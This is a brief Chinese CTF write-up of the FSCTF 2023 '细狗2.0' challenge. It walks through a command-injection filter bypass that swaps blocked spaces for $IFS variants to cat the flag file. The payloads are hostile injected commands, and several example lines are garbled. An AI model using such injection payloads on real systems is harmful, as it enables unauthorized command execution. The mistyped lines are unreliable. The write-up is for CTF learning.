[FSCTF 2023]细狗2.0

尝试输入cat /f*

输入;ls /     过滤了空格

输入 ;ls 

看到2个php,  空格绕过可以用注释替换空格

;ca\t/*123*/f* 发现不可以,看题解后发现使用${IFS}绕过

$IFS代替空格;$IFS、$IFS2、${IFS}、$IFS$9

Linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符(internal field separator)

?cmd=lsSlFS-l单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名。

?cmd=ls${lFS}-1剁FSS9-后面加个$与{类似,起截断作用,$9是当前系统shel进程第九个参数持有者始终为空字符串。

?cmd=ls$lFs$9-1 (这里1到9应该都可以) 

这道题输入;ca\t$IFS/f* 可得flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值